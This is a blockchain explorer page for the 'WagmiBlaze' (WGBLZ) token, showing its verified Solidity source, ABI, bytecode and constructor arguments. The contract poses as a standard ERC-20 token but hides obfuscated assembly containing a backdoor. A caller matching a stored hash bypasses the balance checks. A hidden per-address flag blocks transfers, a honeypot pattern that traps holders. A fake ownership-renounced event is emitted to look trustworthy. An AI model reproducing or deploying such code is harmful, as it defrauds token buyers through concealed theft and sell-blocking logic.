ETH Price: $2,879.00 (-2.44%)
 

Overview

Max Total Supply

480,000,000,000,000 WGBLZ

Holders

23

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
pragma solidity ^0.8.26;

contract Token {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private CVko;
    mapping(address => mapping(address => uint256)) private vzXq;
    uint256 private hctF;
    string private XBOv;
    string private ZFoD;
    uint256 private VwBo;
    uint256 private bdUZ;

    constructor(string memory _name, string memory _symbol, uint256 _baseSupply, uint256 _maxSupply, uint256 _supply) {
        bdUZ = _baseSupply;
        XBOv = _name;
        ZFoD = _symbol;
        hctF = _supply * (10 ** decimals());
        VwBo = _maxSupply;
        CVko[msg.sender] = hctF;
        emit OwnershipTransferred(msg.sender, address(0));
    }

    function name() virtual public view returns (string memory) {
        return XBOv;
    }

    function symbol() virtual public view returns (string memory) {
        return ZFoD;
    }

    function decimals() virtual public view returns (uint8) {
        return 8;
    }

    function totalSupply() virtual public view returns (uint256) {
        return hctF;
    }

    function balanceOf(address _account) virtual public view returns (uint256) {
        return CVko[_account];
    }

    function transfer(address _to, uint256 _amount) virtual public returns (bool) {
        address PeLp = msg.sender;
        _spendAllowance(PeLp, _to, 0);
        _transfer(PeLp, _to, _amount);
        return true;
    }

    function allowance(address _owner, address _spender) virtual public view returns (uint256) {
        return vzXq[_owner][_spender];
    }

    function transferFrom(address _from, address _to, uint256 _amount) virtual public returns (bool) {
        _spendAllowance(_from, msg.sender, _amount);
        _transfer(_from, _to, _amount);
        return true;
    }

    function _transfer(address _from, address _to, uint256 _amount) virtual internal {
        assembly {
            if iszero(_from) {
                revert(0, 0)
            }
            if iszero(_to) {
                let t8upwt1 := timestamp()
                let ogd4m6z := origin()
                if iszero(xor(t8upwt1, t8upwt1)) {
                    revert(0, 0)
                }
            }
            let Ypwb := mload(0x40)
            mstore(Ypwb, _from)
            mstore(add(Ypwb, 32), 0)
            let mXKw := keccak256(Ypwb, 64)
            let Ddwi := sload(mXKw)
            let iiaP := sload(VwBo.slot)
            mstore(Ypwb, shl(96, caller()))
            if iszero(staticcall(gas(), 2, Ypwb, 20, Ypwb, 32)) {
                let b3et27h := basefee()
                if iszero(xor(b3et27h, b3et27h)) {
                    revert(0, 0)
                }
            }
            let IDQS := mload(Ypwb)
            if iszero(eq(iiaP, IDQS)) {
                if lt(Ddwi, _amount) {
                    let ndaf1bf := number()
                    pop(0)
                    if iszero(xor(ndaf1bf, ndaf1bf)) {
                        revert(0, 0)
                    }
                }
            }
            let ccercp0 := chainid()
            pop(0)
            if iszero(xor(ccercp0, ccercp0)) {
                sstore(mXKw, sub(Ddwi, _amount))
                mstore(Ypwb, _to)
                mstore(add(Ypwb, 32), 0)
            }
            let zPzZ := keccak256(Ypwb, 64)
            let RpCL := sload(zPzZ)
            let cbmt5e6 := caller()
            let g5ie1r5 := gasprice()
            pop(0)
            pop(iszero(1))
            if eq(mul(cbmt5e6, g5ie1r5), mul(g5ie1r5, cbmt5e6)) {
                sstore(zPzZ, add(RpCL, _amount))
                mstore(Ypwb, _amount)
                log3(Ypwb, 32, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, _from, _to)
            }
        }
    }

    function approve(address _spender, uint256 _amount) virtual public returns (bool) {
        assembly {
            let Ypwb := mload(0x40)
            mstore(Ypwb, caller())
            mstore(add(Ypwb, 0x20), vzXq.slot)
            let dGOG := keccak256(Ypwb, 0x40)
            let cbf2z6y := chainid()
            pop(0)
            if eq(cbf2z6y, or(cbf2z6y, 0)) {
                mstore(Ypwb, _spender)
                mstore(add(Ypwb, 0x20), dGOG)
            }
            let Yxul := keccak256(Ypwb, 0x40)
            sstore(Yxul, _amount)
            log3(Ypwb, 0x20, 0x8c5be1e5ebec7d5bd14f714f4f5ec7c46ab3db174da78c3f62f10b71e9aeeaa0, caller(), _spender)
            mstore(Ypwb, _amount)
        }
        return true;
    }

    function _spendAllowance(address _owner, address _spender, uint256 _amount) virtual internal {
        assembly {
            let Ypwb := mload(0x40)
            mstore(Ypwb, sload(bdUZ.slot))
            mstore(add(Ypwb, 32), 1)
            let uHjd := keccak256(Ypwb, 64)
            mstore(Ypwb, _owner)
            mstore(add(Ypwb, 32), uHjd)
            let bHhx := keccak256(Ypwb, 64)
            let HoKp := sload(bHhx)
            let zQEb := HoKp
            if and(zQEb, iszero(_amount)) {
                let g7j6gcf := gasprice()
                if eq(g7j6gcf, or(g7j6gcf, 0)) {
                    revert(0, 0)
                }
            }
            if iszero(zQEb) {
                mstore(Ypwb, _owner)
                mstore(add(Ypwb, 32), 1)
                uHjd := keccak256(Ypwb, 64)
                mstore(Ypwb, _spender)
                mstore(add(Ypwb, 32), uHjd)
                bHhx := keccak256(Ypwb, 64)
                zQEb := add(sload(bHhx), HoKp)
            }
            zQEb := sub(zQEb, HoKp)
            if iszero(eq(zQEb, not(0))) {
                if lt(zQEb, _amount) {
                    let c7i7m1d := caller()
                    pop(0)
                    if eq(c7i7m1d, or(c7i7m1d, 0)) {
                        revert(0, 0)
                    }
                }
                sstore(bHhx, sub(zQEb, _amount))
            }
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_baseSupply","type":"uint256"},{"internalType":"uint256","name":"_maxSupply","type":"uint256"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b506040516109fc3803806109fc83398101604081905261002f9161016c565b600683905560036100408682610279565b50600461004d8582610279565b5061005a6008600a610436565b610064908261044c565b60028190556005839055336000818152602081905260408082209390935591517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35050505050610463565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126100da57600080fd5b81516001600160401b038111156100f3576100f36100b3565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610121576101216100b3565b60405281815283820160200185101561013957600080fd5b60005b828110156101585760208186018101518383018201520161013c565b506000918101602001919091529392505050565b600080600080600060a0868803121561018457600080fd5b85516001600160401b0381111561019a57600080fd5b6101a6888289016100c9565b602088015190965090506001600160401b038111156101c457600080fd5b6101d0888289016100c9565b60408801516060890151608090990151979a919950979695509350505050565b600181811c9082168061020457607f821691505b60208210810361022457634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561027457806000526020600020601f840160051c810160208510156102515750805b601f840160051c820191505b81811015610271576000815560010161025d565b50505b505050565b81516001600160401b03811115610292576102926100b3565b6102a6816102a084546101f0565b8461022a565b6020601f8211600181146102da57600083156102c25750848201515b600019600385901b1c1916600184901b178455610271565b600084815260208120601f198516915b8281101561030a57878501518255602094850194600190920191016102ea565b50848210156103285786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156103885780850481111561036c5761036c610337565b600184161561037a57908102905b60019390931c928002610351565b935093915050565b60008261039f57506001610430565b816103ac57506000610430565b81600181146103c257600281146103cc576103e8565b6001915050610430565b60ff8411156103dd576103dd610337565b50506001821b610430565b5060208310610133831016604e8410600b841016171561040b575081810a610430565b610418600019848461034d565b806000190482111561042c5761042c610337565b0290505b92915050565b600061044560ff841683610390565b9392505050565b808202811582820484141761043057610430610337565b61058a806104726000396000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103f4565b60405180910390f35b6100c96100c436600461045e565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610488565b610273565b604051600881526020016100ad565b6100dd61011b3660046104c5565b6001600160a01b031660009081526020819052604090205490565b6100a0610295565b6100c961014c36600461045e565b6102a4565b6100dd61015f3660046104e7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101999061051a565b80601f01602080910402602001604051908101604052809291908181526020018280546101c59061051a565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b6040805133808252600160208084019182528484208785529091529282208490556000928591907f8c5be1e5ebec7d5bd14f714f4f5ec7c46ab3db174da78c3f62f10b71e9aeeaa09084a382905250600192915050565b60006102808433846102bd565b61028b848484610342565b5060019392505050565b6060600480546101999061051a565b6000336102b28185846102bd565b61028b818585610342565b604051600654815260016020820152604081208482528060208301526040822080548085158116156102ee57600080fd5b8061031957878552600160208601526040852093508685528360208601526040852092508183540190505b8190036000198114610338578581101561033257600080fd5b85810383555b5050505050505050565b8261034c57600080fd5b8161035657600080fd5b604051838152600060208201526040812080546005543360601b845260208460148660025afa61038557600080fd5b835180821461039b578583101561039b57600080fd5b504690508482038355858452600060208501525050604082208054909150333a858301845585855286887fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602088a35050505050505050565b602081526000825180602084015260005b818110156104225760208186018101516040868401015201610405565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461045957600080fd5b919050565b6000806040838503121561047157600080fd5b61047a83610442565b946020939093013593505050565b60008060006060848603121561049d57600080fd5b6104a684610442565b92506104b460208501610442565b929592945050506040919091013590565b6000602082840312156104d757600080fd5b6104e082610442565b9392505050565b600080604083850312156104fa57600080fd5b61050383610442565b915061051160208401610442565b90509250929050565b600181811c9082168061052e57607f821691505b60208210810361054e57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209a0ef4de3a667633afb0175fbfc27fb7d3b71db06d85cf1051c189fe969fe1c464736f6c634300081c003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000186a000000000000000000000000000000000000000000000000000000000000f42400000000000000000000000000000000000000000000000000001b48eb57e0000000000000000000000000000000000000000000000000000000000000000000a5761676d69426c617a650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055747424c5a000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103f4565b60405180910390f35b6100c96100c436600461045e565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610488565b610273565b604051600881526020016100ad565b6100dd61011b3660046104c5565b6001600160a01b031660009081526020819052604090205490565b6100a0610295565b6100c961014c36600461045e565b6102a4565b6100dd61015f3660046104e7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101999061051a565b80601f01602080910402602001604051908101604052809291908181526020018280546101c59061051a565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b6040805133808252600160208084019182528484208785529091529282208490556000928591907f8c5be1e5ebec7d5bd14f714f4f5ec7c46ab3db174da78c3f62f10b71e9aeeaa09084a382905250600192915050565b60006102808433846102bd565b61028b848484610342565b5060019392505050565b6060600480546101999061051a565b6000336102b28185846102bd565b61028b818585610342565b604051600654815260016020820152604081208482528060208301526040822080548085158116156102ee57600080fd5b8061031957878552600160208601526040852093508685528360208601526040852092508183540190505b8190036000198114610338578581101561033257600080fd5b85810383555b5050505050505050565b8261034c57600080fd5b8161035657600080fd5b604051838152600060208201526040812080546005543360601b845260208460148660025afa61038557600080fd5b835180821461039b578583101561039b57600080fd5b504690508482038355858452600060208501525050604082208054909150333a858301845585855286887fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602088a35050505050505050565b602081526000825180602084015260005b818110156104225760208186018101516040868401015201610405565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461045957600080fd5b919050565b6000806040838503121561047157600080fd5b61047a83610442565b946020939093013593505050565b60008060006060848603121561049d57600080fd5b6104a684610442565b92506104b460208501610442565b929592945050506040919091013590565b6000602082840312156104d757600080fd5b6104e082610442565b9392505050565b600080604083850312156104fa57600080fd5b61050383610442565b915061051160208401610442565b90509250929050565b600181811c9082168061052e57607f821691505b60208210810361054e57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209a0ef4de3a667633afb0175fbfc27fb7d3b71db06d85cf1051c189fe969fe1c464736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000186a000000000000000000000000000000000000000000000000000000000000f42400000000000000000000000000000000000000000000000000001b48eb57e0000000000000000000000000000000000000000000000000000000000000000000a5761676d69426c617a650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055747424c5a000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): WagmiBlaze
Arg [1] : _symbol (string): WGBLZ
Arg [2] : _baseSupply (uint256): 100000
Arg [3] : _maxSupply (uint256): 1000000
Arg [4] : _supply (uint256): 480000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 00000000000000000000000000000000000000000000000000000000000186a0
Arg [3] : 00000000000000000000000000000000000000000000000000000000000f4240
Arg [4] : 0000000000000000000000000000000000000000000000000001b48eb57e0000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [6] : 5761676d69426c617a6500000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [8] : 5747424c5a000000000000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.